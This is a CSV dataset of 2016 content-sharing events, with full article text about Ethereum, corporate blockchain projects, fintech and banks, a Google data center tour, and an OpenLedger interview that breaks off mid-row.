timestamp,eventType,contentId,authorPersonId,authorSessionId,authorUserAgent,authorRegion,authorCountry,contentType,url,title,text,lang
1459192779,CONTENT REMOVED,-6451309518266745024,4340306774493623681,8940341205206233829,,,,HTML,http://www.nytimes.com/2016/03/28/business/dealbook/ethereum-a-virtual-currency-enables-transactions-that-rival-bitcoins.html,"Ethereum, a Virtual Currency, Enables Transactions That Rival Bitcoin's","All of this work is still very early. The first full public version of the Ethereum software was recently released, and the system could face some of the same technical and legal problems that have tarnished Bitcoin. Many Bitcoin advocates say Ethereum will face more security problems than Bitcoin because of the greater complexity of the software. Thus far, Ethereum has faced much less testing, and many fewer attacks, than Bitcoin. The novel design of Ethereum may also invite intense scrutiny by authorities given that potentially fraudulent contracts, like the Ponzi schemes, can be written directly into the Ethereum system. But the sophisticated capabilities of the system have made it fascinating to some executives in corporate America. IBM said last year that it was experimenting with Ethereum as a way to control real world objects in the so-called Internet of things. Microsoft has been working on several projects that make it easier to use Ethereum on its computing cloud, Azure. ""Ethereum is a general platform where you can solve problems in many industries using a fairly elegant solution - the most elegant solution we have seen to date,"" said Marley Gray, a director of business development and strategy at Microsoft. Mr. Gray is responsible for Microsoft's work with blockchains, the database concept that Bitcoin introduced. Blockchains are designed to store transactions and data without requiring any central authority or repository. Blockchain ledgers are generally maintained and updated by networks of computers working together - somewhat similar to the way that Wikipedia is updated and maintained by all its users. Many corporations, though, have created their own Ethereum networks with private blockchains, independent of the public system, and that could ultimately detract from the value of the individual unit in the Ethereum system - known as an Ether - that people have recently been buying. The interest in Ethereum is one sign of the corporate fascination with blockchains. Most major banks have expressed an interest in using them to make trading and money transfer faster and more efficient. On Tuesday, executives from the largest banks will gather for a conference, ""Blockchain: Tapping I nto the Real Potential , Cutting Through the Hype."" Many of these banks have recently been looking at how some version of Ethereum might be put to use. JPMorgan, for instance, has created a specific tool, Masala, that allows some of its internal databases to interact with an Ethereum blockchain. Michael Novogratz, a former top executive at the private equity firm Fortress Investing Group, who helped lead Fortress's investment in Bitcoin, has been looking at Ethereum since he left Fortress last fall. Mr. Novogratz said that he made a ""significant"" purchase of Ether in January. He has also heard how the financial industry's chatter about the virtual currency has evolved. ""A lot of the more established players were thinking, 'It's still an experiment,' "" he said. ""It feels like in the last two to three months that experiment is at least getting a lot more validation."" Since the beginning of the year, the value of an individual unit of Ether has soared as high as $12 from around $1. That has brought the value of all existing Ether to over $1 billion at times, significantly more than any virtual currency other than Bitcoin, which had over $6 billion in value outstanding last week. Since Bitcoin was invented, there have been many so-called alt-coins that have tried to improve on Bitcoin, but none have won the following of Ethereum. Unlike Bitcoin, which was released in 2009 by a mysterious creator known as Satoshi Nakamoto, Ethereum was created in a more transparent fashion by a 21-year-old Russian-Canadian, Vitalik Buterin, after he dropped out of Waterloo University in Ontario. The most basic aim of Ethereum was to make it possible to program binding agreements into the blockchain - the smart contract concept. Two people, for instance, could program a bet on a sports game directly into the Ethereum blockchain. Once the final score came in from a mutually agreed upon source - say, The Associated Press - the money would be automatically transferred to the winning party. Ether can be used as a currency in this system, but Ether are also necessary to pay for the network power needed to process the bet. The Ethereum system has sometimes been described as a single shared computer that is run by the network of users and on which resources are parceled out and paid for by Ether. A team of seven co-founders helped Mr. Buterin write up the software after he released the initial description of the system. Mr. Buterin's team raised $18 million in 2014 through a presale of Ether, which helped fund the Ethereum Foundation, which supports the software's development. Like Bitcoin, Ethereum has succeeded by attracting a dedicated network of followers who have helped support the software, partly in the hope that their Ether will increase in value if the system succeeds. Last week, there were 5,800 computers - or nodes - helping support the network around the world. The Bitcoin network had about 7,400 nodes. One of Mr. Buterin's co-founders, Joseph Lubin, has set up ConsenSys, a company based in Brooklyn that has hired over 50 developers to build applications on the Ethereum system, including one that enables music distribution and another that allows for a new kind of financial auditing. The ConsenSys offices are in an old industrial building in the Bushwick section of Brooklyn. The office is essentially one large room, with all the messy trademarks of a start-up operation, including white boards on the walls and computer parts lying around. Mr. Lubin said he had thrown himself into Ethereum after starting to think that it delivered on some of the failed promise of Bitcoin, especially when it came to allowing new kinds of online contracts and markets. ""Bitcoin presented the broad strokes vision, and Ethereum presented the crystallization of how to deliver that vision,"" he said. Joseph Bonneau, a computer science researcher at Stanford who studies so-called crypto-currencies, said Ethereum was the first system that had really caught his interest since Bitcoin. It is far from a sure thing, he cautioned. ""Bitcoin is still probably the safest bet, but Ethereum is certainly No. 2, and some folks will say it is more likely to be around in 10 years,"" Mr. Bonneau said. ""It will depend if any real markets develop around it. If there is some actual application.""",en
1459193988,CONTENT SHARED,-4110354420726924665,4340306774493623681,8940341205206233829,,,,HTML,http://www.nytimes.com/2016/03/28/business/dealbook/ethereum-a-virtual-currency-enables-transactions-that-rival-bitcoins.html,"Ethereum, a Virtual Currency, Enables Transactions That Rival Bitcoin's","All of this work is still very early. The first full public version of the Ethereum software was recently released, and the system could face some of the same technical and legal problems that have tarnished Bitcoin. Many Bitcoin advocates say Ethereum will face more security problems than Bitcoin because of the greater complexity of the software. Thus far, Ethereum has faced much less testing, and many fewer attacks, than Bitcoin. The novel design of Ethereum may also invite intense scrutiny by authorities given that potentially fraudulent contracts, like the Ponzi schemes, can be written directly into the Ethereum system. But the sophisticated capabilities of the system have made it fascinating to some executives in corporate America. IBM said last year that it was experimenting with Ethereum as a way to control real world objects in the so-called Internet of things. Microsoft has been working on several projects that make it easier to use Ethereum on its computing cloud, Azure. ""Ethereum is a general platform where you can solve problems in many industries using a fairly elegant solution - the most elegant solution we have seen to date,"" said Marley Gray, a director of business development and strategy at Microsoft. Mr. Gray is responsible for Microsoft's work with blockchains, the database concept that Bitcoin introduced. Blockchains are designed to store transactions and data without requiring any central authority or repository. Blockchain ledgers are generally maintained and updated by networks of computers working together - somewhat similar to the way that Wikipedia is updated and maintained by all its users. Many corporations, though, have created their own Ethereum networks with private blockchains, independent of the public system, and that could ultimately detract from the value of the individual unit in the Ethereum system - known as an Ether - that people have recently been buying. The interest in Ethereum is one sign of the corporate fascination with blockchains. Most major banks have expressed an interest in using them to make trading and money transfer faster and more efficient. On Tuesday, executives from the largest banks will gather for a conference, ""Blockchain: Tapping I nto the Real Potential , Cutting Through the Hype."" Many of these banks have recently been looking at how some version of Ethereum might be put to use. JPMorgan, for instance, has created a specific tool, Masala, that allows some of its internal databases to interact with an Ethereum blockchain. Michael Novogratz, a former top executive at the private equity firm Fortress Investing Group, who helped lead Fortress's investment in Bitcoin, has been looking at Ethereum since he left Fortress last fall. Mr. Novogratz said that he made a ""significant"" purchase of Ether in January. He has also heard how the financial industry's chatter about the virtual currency has evolved. ""A lot of the more established players were thinking, 'It's still an experiment,' "" he said. ""It feels like in the last two to three months that experiment is at least getting a lot more validation."" Since the beginning of the year, the value of an individual unit of Ether has soared as high as $12 from around $1. That has brought the value of all existing Ether to over $1 billion at times, significantly more than any virtual currency other than Bitcoin, which had over $6 billion in value outstanding last week. Since Bitcoin was invented, there have been many so-called alt-coins that have tried to improve on Bitcoin, but none have won the following of Ethereum. Unlike Bitcoin, which was released in 2009 by a mysterious creator known as Satoshi Nakamoto, Ethereum was created in a more transparent fashion by a 21-year-old Russian-Canadian, Vitalik Buterin, after he dropped out of Waterloo University in Ontario. The most basic aim of Ethereum was to make it possible to program binding agreements into the blockchain - the smart contract concept. Two people, for instance, could program a bet on a sports game directly into the Ethereum blockchain. Once the final score came in from a mutually agreed upon source - say, The Associated Press - the money would be automatically transferred to the winning party. Ether can be used as a currency in this system, but Ether are also necessary to pay for the network power needed to process the bet. The Ethereum system has sometimes been described as a single shared computer that is run by the network of users and on which resources are parceled out and paid for by Ether. A team of seven co-founders helped Mr. Buterin write up the software after he released the initial description of the system. Mr. Buterin's team raised $18 million in 2014 through a presale of Ether, which helped fund the Ethereum Foundation, which supports the software's development. Like Bitcoin, Ethereum has succeeded by attracting a dedicated network of followers who have helped support the software, partly in the hope that their Ether will increase in value if the system succeeds. Last week, there were 5,800 computers - or nodes - helping support the network around the world. The Bitcoin network had about 7,400 nodes. One of Mr. Buterin's co-founders, Joseph Lubin, has set up ConsenSys, a company based in Brooklyn that has hired over 50 developers to build applications on the Ethereum system, including one that enables music distribution and another that allows for a new kind of financial auditing. The ConsenSys offices are in an old industrial building in the Bushwick section of Brooklyn. The office is essentially one large room, with all the messy trademarks of a start-up operation, including white boards on the walls and computer parts lying around. Mr. Lubin said he had thrown himself into Ethereum after starting to think that it delivered on some of the failed promise of Bitcoin, especially when it came to allowing new kinds of online contracts and markets. ""Bitcoin presented the broad strokes vision, and Ethereum presented the crystallization of how to deliver that vision,"" he said. Joseph Bonneau, a computer science researcher at Stanford who studies so-called crypto-currencies, said Ethereum was the first system that had really caught his interest since Bitcoin. It is far from a sure thing, he cautioned. ""Bitcoin is still probably the safest bet, but Ethereum is certainly No. 2, and some folks will say it is more likely to be around in 10 years,"" Mr. Bonneau said. ""It will depend if any real markets develop around it. If there is some actual application.""",en
1459194146,CONTENT SHARED,-7292285110016212249,4340306774493623681,8940341205206233829,,,,HTML,http://cointelegraph.com/news/bitcoin-future-when-gbpcoin-of-branson-wins-over-usdcoin-of-trump,Bitcoin Future: When GBPcoin of Branson Wins Over USDcoin of Trump,"The alarm clock wakes me at 8:00 with stream of advert-free broadcasting, charged at one satoshi per second. The current BTC exchange rate makes that snooze button a costly proposition! So I get up, make coffee and go to my computer to check the overnight performance of my bots. TradeBot earns me on Trump and Branson TradeBot, which allocates funds between the main chain and various national currency side-chains, generated a lucrative 0.24 BTC return. TradeBot has been reliably profitable ever since I set it to trade USDcoin according to political prediction market data. As expected, the latest poll numbers came in as highly supportive of Trump's re-election as USDcoin CEO. Trump's resistance to de-anonymizing public spending, by moving USDcoin off the Confidential Transactions layer, continues to erode his coin's credibility. In his latest speech, Trump maintains that full CT-privacy is essential to ""combatting CNYcoin's sinister ring-signature scheming."" I make a note to increase my long position in GBPcoin. Following CEO Branson's memo to the effect that government finances and national banks be brought into compliance with the public blockchain , British corruption indices have flatlined. As the first national econmy to ""go light,"" Britain leads the global recovery from the Great Debt Default of '20. Happy with the GoatData Project I check TeachBot and note that it's performing in-line with expectations. TeachBot serves as an autonomous info-agent between various contracting AIs and data providers. The 0.5 BTC bounty it awarded to a team of Sherpas to outfit a herd of Tibetan mountain goats with full motion-sensing rigs has already been repaid...I check the latest figures... four times over! My best TeachBot strategy to date, the GoatData project provides valuable data to WinterHoof, the Artificial General Intelligence in charge of the Swiss military's quadripedal robotics program. At this rate, I'll soon have enough BTC to retire to Satoshi City on Mars!",en
1459194474,CONTENT SHARED,-6151852268067518688,3891637997717104548,-1457532940883382585,,,,HTML,https://cloudplatform.googleblog.com/2016/03/Google-Data-Center-360-Tour.html,Google Data Center 360° Tour,"We're excited to share the Google Data Center 360° Tour - a YouTube 360° video that gives you an unprecedented and immersive look inside one of our data centers. There are several ways to view this video: On desktop using Google Chrome use your mouse or trackpad to change your view while the video plays YouTube app on mobile - move your device around to look at all angles while the video plays And the most immersive way to view - using Google Cardboard (currently supported by the Android YouTube app only, iOS support is coming soon!) Load the video in the YouTube app and tap on the Cardboard icon when the video starts to play. Insert your phone in Cardboard and look around. A little background . . . Several months ago, those of us on the Google Cloud Developer Advocacy Team had a rare opportunity to tour the Google data center in The Dalles, Oregon. Many of us had seen other non-Google data centers in our careers, but this experience was beyond anything we ever imagined. We were blown away by the scale, the incredible attention to security and privacy, and the amazing efforts to make the data center extremely efficient and green. Additionally, we were proud to meet some of the brilliant people that design, build and maintain these data centers. If you are a Google Cloud Platform customer, then this is your data center as much as it is our data center, so we want you to experience what we experienced. We hope you enjoy it! - Posted by Greg Wilson, Head of Developer Advocacy, Google Cloud Platform",en
1459194497,CONTENT SHARED,2448026894306402386,4340306774493623681,8940341205206233829,,,,HTML,https://bitcoinmagazine.com/articles/ibm-wants-to-evolve-the-internet-with-blockchain-technology-1459189322,"IBM Wants to ""Evolve the Internet"" With Blockchain Technology","The Aite Group projects the blockchain market could be valued at $400 million by 2019. For that reason, some of the biggest names in banking, industry and technology have entered into the space to evaluate how this technology could change the financial world. IBM and Linux, for instance, have brought together some of the brightest minds in the industry and technology to work on blockchain technology through the Hyperledger Project. The Hyperledger Project is under the umbrella of the Linux Foundation, and seeks to incorporate findings by blockchain projects such as Blockstream, Ripple, Digital Asset Holdings and others in order to make blockchain technology useful for the world's biggest corporations. IBM has also contributed its own code to the project. According to John Wolpert, IBM's Global Blockchain Offering Director, when IBM and Linux began working together on the blockchain project, Linux made clear it wanted to ""disrupt the disruption,"" in part with their findings, as well as the data gathered by projects such as Ripple, Ethereum and others exploring the blockchain. The Linux foundation announced its Hyperledger project on December 17, 2015. Just one day later, 2,300 companies had requested to join. The second-largest open source foundation in the history of open source had only 450 inquiries. ""So, it's either going to be a holy mess or it's going to change the world,"" Wolpert said at The Blockchain Conference in San Francisco presented by Lighthouse Partners. As Wolford puts it, a team of IBMers is ""on a quest"" to understand and ""do something important"" with blockchain technology. ""I don't know why we got this rap in the '70s, way back, that we are not cool, that we're kind of stodgy, and that is not the IBM of my experience,"" Wolpert, who founded the taxi service Flywheel, explained. ""We're the original crazy people. The craziest people are the guys at IBM in the '60s and '70s -- you can imagine what they were doing in the '60s -- they are wild-eyed revolutionaries."" Although this is not the image IBM markets, their work in quantum computing, quantum teleportation and neuro semantic chips count among some of the ""cool stuff"" IBM does, says Wolpert. IBM also approaches projects in the spirit of open innovation, and not proprietarily. ""Our method of operations is open, and it's often our MO to back not-our-thing,"" he said of IBM since the 1990s. Wolpert cites Java as one such project: ""You would not know about Java today if it weren't for IBM."" As a ""pretty young dude,"" Wolpert was in the room when IBM made a billion-dollar decision to back Linux over its own technology. He also cites IBM's work on XML as an example of IBM's dedication to open innovation. Currently, IBM has employees working on crypto-security and distributed systems who have been working on consensus algorithms for their entire careers, some for more than 30 years. ""They're crazy smart, we're planetary, we've gone from a couple of guys in a canoe, to a platoon and approaching an army of people working on blockchain,"" Wolpert said. ""So it feels a lot like my first job at IBM which was making Java real for business."" This has led old and new friends to contact the the multinational technology and consulting corporation. ""Banks who have been calling us constantly ... saying 'What's your view on blockchain?' or 'Hey, let's do a project together on blockchain,'"" Wolpert said. ""We've been doing all these crazy projects on blockchain, every kind of blockchain, and learning a lot, been doing that for a couple years and really started to accelerate last year."" Today, there is a whole unit dedicated to blockchain technology at Linux Foundation. ""We went all-in on blockchain,"" he explained. What's it all about for Wolpert? ""It's about evolving the Internet."" Bitcoin is important for moving money around without a single authority. ""[Bitcoin] is a solution to a problem, a specific problem, of people who need to move money around in environments where you don't trust the government,"" Wolpert said. ""I think we can all agree we are approaching the end of the era where a single authority manages trust and gets compensated for the risk in doing so."" In Wolpert's view, finance does not need to go from today's system of trust -- where consumers trust institutions to handle their money -- to one of complete trustlessness, like the Bitcoin system in which a protocol, not a centralized authority, manages the movement of value. ""It doesn't follow, having one single trust authority to trustlessness on everything,"" he said. ""There is a false dichotomy between the notion of trust and trustlessness, that you have to have a walled garden on one side and Bitcoin on the other."" He doesn't compare Bitcoin to the Internet, saying that's a wrong analogy. ""It is not apt to say the Internet is like Bitcoin; the Internet is, from the perspective of Bitcoin, a permissioned walled garden,"" he said. ""Ever heard of ICANN? It's permissive, but it's permissioned."" Bitcoin, Ripple and Ethereum are ""Iteration 1"" of blockchain technology, the three time IBMer told his audience. Wolpert thinks blockchain technology will soon evolve to ""Iteration 2."" The problem with it? ""The Internet is constrained,"" Wolpert said. ""You have a fabric that allows for lots of competition on platforms and huge amounts of competition on solutions and applications on top of it, so we need to evolve the Internet to become economically aware, and that Internet isn't going to be an application, it is going to be a fabric and then lots of applications on top of that."" This doesn't mean blockchain 2.0 technologies such as Blockstream, Ethereum and Ripple are lost causes that must now completely retool. The Linux Foundation, in fact, works with Ethereum and Ripple employees. With its blockchain projects, IBM is not focused on moving a cryptocurrency. ""Lots of banks pay us lots of money and we like that, and we want to radically improve them,"" Wolpert explained. ""[Bankers] are gonna try like heck to radically improve what is going on ahead of the disruption, disrupt themselves if you will. If you look at things like [Overstock's] t0, that's happening, might happen on Bitcoin protocol, but might not, and there's plenty of ways to solve it, when you commit to it. And sure, Bitcoin has woken [banks] up to this, so it's doing its job, it's disrupting the thinking and maybe that is all that is necessary."" Wolpert wonders aloud during his speech if the world would have iTunes were it not for Napster, or Netflix if it weren't for BitTorrent. The former head of products for IBM's Watson Ecosystem says IBM currently has a ""boomtown with giant numbers of people at IBM and everywhere else"" investigating the blockchain problem and how distributed technology can be made useful for industry. He details how oftentimes IBM tinkers with open innovations itself to make the technology ready for industry. That's not the route being taken with Bitcoin. That the Bitcoin network is on par with Ireland for energy consumption, and that mining consortiums could eventually dictate that market, scares the firm away from dealing directly with Bitcoin. ""What I want to see, what we want to see, is a world full of companies who I can know, who I can identify, who are so spread out, like the Internet,"" he said. Wolpert cites the Arab Spring, and the role the Internet played in that uprising, as how a permissioned, yet permissive, structure functions. Websites, albeit technology permissioned by ICANN, remained online during the protests and played a major role. What's the risk in experimenting with blockchain? ""The risk is we go crazy, we have an unruly mess,"" Wolpert warned. ""[But] it's the Linux Foundation, we've been in this movie before. While there's a lot of really smart guys working on Bitcoin and startups, we've got equally amount of people who also have 20 or 30 years of experience with open source and open innovation, and I think we have a good shot at maintaining restraints, keeping it scoped down, keeping it simple, but getting it to something that is useful.""",en
1459194522,CONTENT SHARED,-2826566343807132236,4340306774493623681,8940341205206233829,,,,HTML,http://www.coindesk.com/ieee-blockchain-oxford-cloud-computing/,IEEE to Talk Blockchain at Cloud Computing Oxford-Con - CoinDesk,"One of the largest and oldest organizations for computing professionals will kick off its annual conference on the future of mobile cloud computing tomorrow, where blockchain is scheduled to be one of the attractions. With more than 421,000 members in 260 countries, the Institute of Electrical and Electronics Engineers (IEEE) holding such a high-profile event has the potential to accelerate the rate of blockchain adoption by the engineering community. At the four-day conference, beginning Tuesday, the IEEE will host five blockchain seminars at the 702-year-old Exeter College of Oxford. The conference, IEEE Mobile Cloud 2016, is the organization's fourth annual event dedicated to mobile cloud computing services and engineering. Speaking at the event, hosted at Oxford University, professor Wei-Tek Tsai of the School of Computing, Informatics and Decision Systems engineering at Arizona State University will talk about the future of blockchain technology as an academic topic of research. Computing shift While this looks to be the first IEEE conference to deal so closely with blockchain, its presence at an event dedicated to cloud computing is no surprise. 2016 is shaping up to be the year many stopped talking about bitcoin as a decentralized ledger and started talking about it as a database. Last month, IBM made a huge splash in the blockchain ecosystem when it announced among a wide range of other news, that it would be offering a wide range of blockchain-related initiatives. Further, in November, Microsoft coined the term Blockchain-as-a-Service (BaaS) to describe its sandbox environment where developers could experiment with tools hosted on the company's Azure Cloud platform. Companies including ConsenSys, Augur, BitShares and Slock.it have joined that effort. Oxford University via Shutterstock",en
1459194557,CONTENT SHARED,-2148899391355011268,4340306774493623681,8940341205206233829,,,,HTML,http://www.newsbtc.com/2016/03/28/banks-need-collaborate-bitcoin-fintech-developers/,Banks Need To Collaborate With Bitcoin and Fintech Developers,"It will take time until banks come around to the idea of embracing Bitcoin or Fintech, though. Banks need to innovate at an accelerated pace, yet are unable to do so on their own. Allowing third-party developers to work together with the bank through API access would be a significant step in the right direction, as there is valuable input to be gathered from the Bitcoin and Fintech industries. Banks and other established financial players have not taken a liking to Fintech and digital currency just yet, as they see both industries as major competitors to their offerings. While it is certainly true Bitcoin and Fintech can bring significant improvements to the table, they should be seen as complementary allies who will bring success to the banking industry. Or that is what the Monetary Authority of Singapore seems to be thinking, at least. Also read: Bitcoin Price Technical Analysis For 03/28/2016 - Looking To Buy BTC? Embracing Bitcoin And Fintech As A Bank Is Necessary There is no denying the banking sector has seen very little to no real innovation for quite some time now, opening the door for other players to step in and offer something entirely different. In fact, a lot of financial experts see and as two major threats to the banking system, which would explain the vocal opposition to any solution that is not controlled by a bank or government. But the Monetary Authority of Singapore sees things different, as they feel both Fintech and Bitcoin are capable of complementing the current financial infrastructure, rather than be competing with banks. A combination of traditional banking with innovative technology and services has the potential to create a powerful and versatile financial ecosystem all over the globe. Fintech startups and entrepreneurs are renowned for thinking outside of the proverbial box when it comes to accessing financial services. Particularly where the money lending and peer-to-peer aspect is concerned, most Fintech companies have a leg up over their more traditional counterparts. But that does not mean these startups are looking to overthrow the banking system, although they might be able to in the long run. Any bank that is too slow - or simply unwilling - to innovate will be left behind in the long term, though. Collaborating with Fintech players is a far more preferable solution to this alternative, although it may involve swallowing some of the pride that are associated with the banking system. Fintech companies are, by design, more capable of embracing new and advanced technological features, which makes them invaluable allies for traditional banks. A Senior Regulator of the Monetary Authority of Singapore stated: ""MAS' approach to fintech is to use the power of technology to help banks to succeed. It's not a game of disruptors versus enablers. We see fintech as an enabler... The good news is fintech companies by design are creating far superior technology products, and where success lies is in partnering with banks, and enabling banks to succeed."" But Bitcoin has a role to play in the financial world as well, although this system is completely outside of the control of banks and governments. Despite those barriers, the popular digital currency is available in every country in the world, allowing for frictionless and real-time transfers of value, regardless of previous access to financial services by consumers and businesses. So far, most of the major banks around the world have taking a page out of the Bitcoin playbook, by trying to develop their own blockchain technology solutions. But that is not all, as several countries are considering to issue their own digital currency, rather than embracing Bitcoin. Whether or not that will be the right decision, in the end, remains to be seen. It will take time until banks come around to the idea of embracing Bitcoin or Fintech, though. Banks need to innovate at an accelerated pace, yet are unable to do so on their own. Allowing third-party developers to work together with the bank through API access would be a significant step in the right direction as there is valuable input to be gathered from the Bitcoin and Fintech industries.",en
1459194599,CONTENT SHARED,4119190424078847945,4340306774493623681,8940341205206233829,,,,HTML,https://bitcoinmagazine.com/articles/blockchain-technology-could-put-bank-auditors-out-of-work-1459179559,Blockchain Technology Could Put Bank Auditors Out of Work,"When most people think about computers and robots taking jobs away from humans, the images that usually come to mind are robots moving inventory around in an Amazon warehouse or McDonald's customers placing their order via a tablet instead of a cashier . But the robots are coming for much more sophisticated jobs as well. For example, blockchain technology is out to eat the lunches of some professionals in the traditional financial system. There's a Lot of Mistrust in the Banking System At a recent blockchain-focused event in Toronto, Bitcoin Core contributor Peter Todd was asked to explain the reasoning behind Wall Street's increased interest in blockchain technology. During his initial response, Todd pointed out some of the mistrust that exists in the current financial system: ""The dirty secret is [the banks] don't actually trust [their databases]. I mean, they don't trust their own employees. ... They don't trust each other. There's so many levels of mistrust here."" Todd then discussed the massive industry built around financial audits. He noted: ""If they did trust all this stuff, why are there so many auditors? Why is there this massive infrastructure of labor-intensive human beings sitting there poring over transactions and trying to figure out where the money got created out of thin air. Where did the money disappear? Who moved what where? Was it all legit?"" Many financial institutions are interested in the concept of creating new systems for record-keeping, which would replace the current closed-ledger system with a more open alternative, similar to Bitcoin. Many believe this open system would enable more efficient and transparent auditing of financial activity. The Status Quo Is Doing All Right But It's Hard to Improve Todd also pointed out that financial institutions are already pretty good at what they do in terms of audits. He stated, ""For the most part, bank fraud is at tolerable levels, it seems."" Todd noted that maintaining a proper history of financial activity is one of the issues with increasing the speed of settlement . Because audits are labor intensive and require man hours to complete, it's difficult to essentially come to consensus on the correct version of events in a nearly instantaneous manner. He added, ""The faster money can move around, the faster you could lose it all due to some hacker."" How Does the Blockchain Help? Todd spoke on the perceived advantages of blockchains over the current way things work, which relies on placing trust in database admins and the people with the keys to the system. From this perspective, a blockchain simply looks like a strong audit log. Todd gave a specific example of how this technology can help: ""It could be something as simple as when I, as a bank employee, type something in, we really do want a cryptographic signature that's actually tied to my keycard or something. And that should go into a database. Well, what does that look like? It looks like a blockchain."" The longtime Bitcoin researcher also pointed out that this is sort of what banks were already looking at doing before blockchain technology started to receive a lot of attention. He explained: ""I think where they're thinking of going naturally looks like blockchains, so when they hear all this blockchain stuff it's like, 'Oh yeah. This is roughly what we were looking at doing anyway.'"" Replacing Humans Is the Point At one point during the recent event in Toronto, Todd was asked if the trend is that blockchains will eventually replace human auditors. Todd responded: ""All this blockchain stuff is really about: How good can we make the security to get to the point where we can imagine getting rid of human beings?"" Indeed, Todd's comments appear to fit well with Satoshi Nakamoto 's original Bitcoin white paper . In the paper, Nakamoto stated: ""What is needed is an electronic payment system based on cryptographic proof instead of trust...."" Going back further, cypherpunk Nick Szabo has written about the concept that third parties are security holes. In addition to improving security by cutting out trusted parties, financial institutions can cut costs by replacing human labor with computer code. Kyle Torpey is a freelance journalist who has been following Bitcoin since 2011. His work has been featured on VICE Motherboard, Business Insider, NASDAQ, RT's Keiser Report and many other media outlets. You can follow @kyletorpey on Twitter.",en
1459194751,CONTENT SHARED,-7926018713416777892,4340306774493623681,8940341205206233829,,,,HTML,https://news.bitcoin.com/conglomerates-interview-openledger-ceo/,Why Decentralized Conglomerates Will Scale Better than Bitcoin - Interview with OpenLedger CEO - Bitcoin News,"Bitcoin.com spoke with the OpenLedger CEO, Ronny Boesing to get deeper insight of how decentralized conglomerates will challenge the status quo, why they will bring greater financial freedom to the public, and the disadvantages of Bitcoin when it comes to enterprise scaling compared to DC's. Also read: Deloitte: Blockchain Will 'Gain Significant Traction' by 2020 The Coming Age of 'Decentralized Conglomerates' As the OpenLedger team recently its Global Enterprise 3.0 program, its universal shared application called ""Decentralized Conglomerate"" (DC) is poised to revolutionize how we look at big business in the 21st century. For a long time, the traditional conglomerate model went unchallenged (e.g. Berkshire Hathaway, Philip Morris etc.) until the emergence of the Internet and increasing global interconnectivity. A new digital conglomerate structure began to emerge with the likes of Google (and its Alphabet Inc. parent company), which became more efficient at managing the production and distribution of their products. Nevertheless, the formal top-down structure of these new digital age conglomerates remained, including the the traditional way of how profits are distributed - that is, until now. ""Decentralized Conglomerates are the next logical step."" - Ronny Boesing Bitcoin.com (BC): Conglomerates first existed in physical form such as Berkshire Hathaway, after which we saw the advent of digital ones such as Google and Alphabet. Are decentralized autonomous conglomerates the next logical step in this evolution? Ronny Boesing (RB): Without question, Decentralized Conglomerates are the next logical step. It should be noted that there will be Autonomous and Semi-Autonomous organizations that emerge. The difference being the level of organizational influence exerted over the universal platform. In an Autonomous Conglomerate, the contracts and workers would be completely independent of having any external influence or association with another entity, but may simply be using the same platform as another organization. In a Semi-Autonomous Conglomerate, there will be some level of external influence, support, or association with an official business. This means that an organization has special interest in the associated operations of the Conglomerate, and some semblance of top-down influence may occur. BC: What are the basic advantages of decentralized conglomerate over a centralized one like Google, for example? RB: A Decentralized Conglomerate allows organizations to join the forces of their communities on a universal platform that allows cross promotion and profit sharing, but does not force it. This paradigm also allows individual brand identities to flourish within the Conglomerate without having to worry about the interests of the Universal Platform conflicting with the interests of any given brand using the platform. In a traditional or even a digital conglomerate, the mission of the parent company guides the decisions of the subsidiaries. BC: Is anyone free to join such an online conglomerate community? RB: The system is agnostic, so that anyone who wants to create an asset for their organization or commodity has the capacity to do so. All tokens do not have equal risk, and some are far less risky than others to purchase. BC: Some could argue that MLM pyramid structured companies are also ""profit sharing"" communities, though this entails a lot of risk as we all know. What kind of risk is there for people choosing to enter and buy the digital tokens of a decentralized conglomerate or its constituents? RB: The risk of purchasing such tokens depends on many things, such as the market capitalization of the DC, the number of organizations connected to the DC, the capacity to exchange tokens for other forms of currency or products, the size of the reserve backing a given token. All tokens do not have equal risk, and some are far less risky than others to purchase. Everyone should do their due diligence to know how solid the infrastructure is behind any given token or DC. BC: Can't Bitcoin be considered the world's first decentralized conglomerate? RB: Bitcoin is not a conglomerate. It is a decentralized ledger. The only purpose of Bitcoin's blockchain was to keep track of transactions. Many organizations expanded upon the original protocol to create colored coins and languages that permitted applications to be built on top of the Bitcoin blockchain. However, this was not the original intention of ""Bitcoin"" proper, and specifically talking about ""Bitcoin,"" it is apolitical, without special interest, and has no official organizational associations. [A decentralized conglomerate] was not the original intention of 'Bitcoin' proper, [...] it is apolitical, without special interest, and has no official organizational associations. Bitcoin is the world's first globally accepted currency that has no organizational associations, and that is simultaneously the best and worst aspect about it. Since there is no organization association, the problems that Bitcoin encounters rely on the community to come together and make a unilateral decision. As we have seen with the blocksize scaling issue , the transaction time debate , the recent DDoS attack, and the blockchain halt due to transaction costs; Bitcoin has some real problems that need to be addressed in order for it to be usable for enterprise scale organizations or countries alike. In that regard, since Bitcoin is apolitical, it doesn't really make logical sense for any country to switch to something which they have no control over as their main currency. So in that regard, Bitcoin is not only not a conglomerate, the apolitical aspect serves to keep organizations away from holding the currency during the fluctuations, as there is no real organization that has vested interest in keeping Bitcoin stable. BC: What exactly is OpenLedger's ""Bitcoin 3.0"" technology and what are Bitcoin's disadvantages compared to it when using it within the DC context? RB: As mentioned, Bitcoin has no associations. This means that the token can be purchased and amassed by any organization or country around the globe, leaving the token subject to wild swings due to margin trading. You see examples with organizations like Ether , Factom , or OpenLedger that have created a token that has organizational backing, and their respective tokens steadily increased in value instead of having wild unpredictable swings. Having an organization that has special interest in the Universal Ledger establishes a community and ecosystem which Bitcoin is lacking. It is the same type of culture that Apple has created using ""I"" branding that can be achieved with organizational associations. Bitcoin does not have this capacity. Having an organization that has special interest in the Universal Ledger establishes a community and ecosystem which Bitcoin is lacking. In order to get mass adoption or successful utilization, it is crucial to have a unified approach to the interface, and this becomes another major failing point of Bitcoin. Openledger has streamlined the UX/UI of digital currency transactions, and this represents a much more user-friendly approach with a smaller learning curve. Having development teams that can do research and development and then modify the UX based on user feedback is a great benefit that DC's have over Bitcoin. BC: Can you talk a little bit about the first partnerships between communities on this platform, namely OBITS and BitTeaser? RB: Every month, 70% of BitTeaser's monthly Bitcoin profits will be used to buyback BTSR and OBITS on the respective markets on OpenLedger. OBITS does it on the BTC (10%) and BTS (90%) market, and with BTSR it is done on BTS, BTC, USD and ETH markets 25% each. BTSR holders will receive 80% of this share, while OBITS holders will receive 20%. In the long term, BTSR holders may see an increase in the value per unit of their investment based on supply and demand, as well as having the tokens burned from every buyback thus reducing overall available supply. BitTeaser operates in a similar way to Google Adwords - revenue is generated based on providing advertising space for websites, companies and products. It currently serves over 1,000 webmasters, with monthly growth of around 15 to 20%. BC: Do they use 